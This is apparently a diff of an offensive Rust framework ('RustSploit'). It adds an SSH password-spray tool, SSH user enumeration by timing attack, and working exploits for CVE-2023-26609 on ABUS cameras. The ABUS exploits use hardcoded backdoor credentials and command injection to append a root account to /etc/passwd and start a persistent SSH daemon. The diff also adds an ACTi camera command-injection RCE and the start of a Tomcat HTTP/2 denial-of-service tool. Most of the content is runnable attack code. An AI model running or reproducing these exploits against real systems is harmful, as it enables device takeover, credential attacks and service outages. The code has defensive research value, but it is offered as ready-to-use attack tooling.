let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false).await? {
let file_path = prompt("File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
+315
View File
@@ -0,0 +1,315 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use anyhow::Context;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ How it works: ║".cyan());
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
println!();
// Establish baseline with known-invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
return Vec::new();
}
};
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
let _ = std::io::Write::flush(&mut std::io::stdout());
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
println!();
println!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
valid_users
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
println!();
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
println!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
println!("{}", format!("[+] Saved to: {}", output_path).green());
}
println!();
println!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
+3 -2
View File
@@ -1,2 +1,3 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
-26
View File
@@ -1,26 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
}
+119
View File
@@ -0,0 +1,119 @@
use std::sync::atomic::{AtomicU64, Ordering};
// use std::sync::Arc; // Removed unused import
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
unique_errors: Mutex<HashMap<String, usize>>,
}
impl BruteforceStats {
pub fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
unique_errors: Mutex::new(HashMap::new()),
}
}
pub fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
pub fn record_success(&self) {
self.record_attempt(true, false);
}
pub fn record_failure(&self) {
self.record_attempt(false, false);
}
pub fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
pub async fn record_error_detail(&self, msg: String) {
let mut guard = self.unique_errors.lock().await;
*guard.entry(msg).or_insert(0) += 1;
}
pub async fn record_error(&self, msg: String) {
// Increment error counter
self.record_attempt(false, true);
// Record detail
self.record_error_detail(msg).await;
}
pub fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
pub async fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
let errors_guard = self.unique_errors.lock().await;
if !errors_guard.is_empty() {
println!("\n{}", "Top Errors:".bold());
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
for (msg, count) in sorted_errors.into_iter().take(5) {
println!(" - {}: {}", msg.yellow(), count);
}
}
}
}
@@ -0,0 +1,202 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result, Context};
use colored::*;
use md5;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
).cyan()
);
Ok(())
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Exploit mode selection:".cyan().bold());
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut choice = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice)
.await
.context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut fp = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut fp)
.await
.context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut cmd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd)
.await
.context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut pwd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pwd)
.await
.context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
return Err(anyhow!("Invalid choice"));
}
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -0,0 +1,151 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
// CVE: CVE-2023-26609
// Variant 2 - Dropbear SSH Persistence with custom username
use anyhow::{Result, Context};
use colored::*;
use crate::utils::normalize_target;
use md5;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
// Use framework's normalize_target utility - removed custom implementation
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Response:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Response:\n{}", body).red());
}
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
print!("{}", "Enter username to inject: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut user = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut user)
.await
.context("Failed to read username")?;
let user = user.trim();
if user.is_empty() {
println!("{}", "[-] Username cannot be empty".red());
return Err(anyhow::anyhow!("Username cannot be empty"));
}
print!("{}", "Enter password (will be hashed): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut pass = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pass)
.await
.context("Failed to read password")?;
let pass = pass.trim();
if pass.is_empty() {
println!("{}", "[-] Password cannot be empty".red());
return Err(anyhow::anyhow!("Password cannot be empty"));
}
// Hash it!
let hash = generate_md5_hash(pass);
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
println!();
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!();
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
).cyan()
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
+2
View File
@@ -0,0 +1,2 @@
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
+125
View File
@@ -0,0 +1,125 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Prompt for port
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd_input)
.await
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
+1
View File
@@ -0,0 +1 @@
pub mod acm_5611_rce;
@@ -0,0 +1,201 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().await.unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
